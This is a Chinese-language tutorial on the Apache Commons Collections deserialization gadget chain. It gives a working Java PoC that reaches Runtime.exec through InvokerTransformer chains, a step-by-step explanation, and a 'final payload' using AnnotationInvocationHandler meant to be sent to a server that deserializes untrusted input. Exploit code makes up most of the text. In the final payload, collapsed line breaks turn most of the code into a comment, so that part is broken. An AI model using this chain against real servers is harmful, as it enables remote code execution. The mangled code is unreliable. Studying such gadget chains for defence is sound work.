漏洞触发原理poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize1 {
public static void main(String[] args) throws Exception {
//1、创建Transformer型数组,构建漏洞核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//2、将transformers数组存入ChaniedTransformer类
Transformer transformerChain = new ChainedTransformer(transformers);
//3、创建Map,给予map数据转化链
Map innerMap = new HashMap();
innerMap.put("key", "value");
//给予map数据转化链,该方法有三个参数:
// 第一个参数为待转化的Map对象
// 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
// 第三个参数为Map对象内的value要经过的转化方法(可为单个方法,也可为链,也可为空)
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//4、触发漏洞利用链,利用漏洞
onlyElement.setValue("test");
}
}
代码总结
- 创建transformers数组,构建漏洞核心利用代码。
- 将transformers数组存入ChaniedTransformer类。
- 创建Map,给予map数据转化链
- 触发漏洞利用链,利用漏洞
漏洞触发流程总结
1、transform数组里面含有4个实现了Transformer接口的对象,这四个对象都重写了transform()方法
2、ChianedTransformer里面装了4个transform,ChianedTransformer也实现了Transformer接口,同样重写了transform()方法
3、TransoformedMap绑定了ChiandTransformer,给予map数据转化链,当map里的数据进行修改时,需经过ChiandTransformer转换链
4、利用TransoformedMap的setValue修改map数据,触发ChiandTransformer的transform()方法
5、ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法
loop 1:第一次循环调用ConstantTransformer("java.Runtime")对象的transformer方法,调用参数为"test"(正常要修改的值),返回了java.Runtime作为下一次循环的object参数
loop 2:第二次循环调用InvokerTransformer对象的transformer,参数为("java.Runtime"),包装Method对象"getMethod"方法,invoke方法获得对象所声明方法"getRuntime",利用反射,返回一个Rumtime.getRuntime()方法
loop 3:第三次循环调用InvokerTransformer对象的transformer,参数为("Rumtime.getRuntime()"),包装Method对象"invoke"方法,利用反射,返回一个Rumtime.getRuntime()实例
loop 4:第四次循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exec"方法,invoke方法获得对象所声明方法"calc.exe",利用反射,执行弹出计算器操作
下一步
目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。
因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。
在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( ) 操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。
最终payload
package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ApacheSerialize implements Serializable {
public static void main(String[] args) throws Exception{
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作 Transformer transformerChain = new ChainedTransformer(transformers); //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict Map map = new HashMap(); map.put("value", "test"); //Map数据结构,转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); //反射机制调用AnnotationInvocationHandler类的构造函数 //forName 获得类名对应的Class对象 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射调用私有的的结构:私有方法、属性、构造器 //指定构造器 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消构造函数修饰符限制,保证构造器可访问 ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例 //调用此构造器运行时类的对象 Object instance=ctor.newInstance(Target.class, transformedMap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close(); System.out.println(result); }}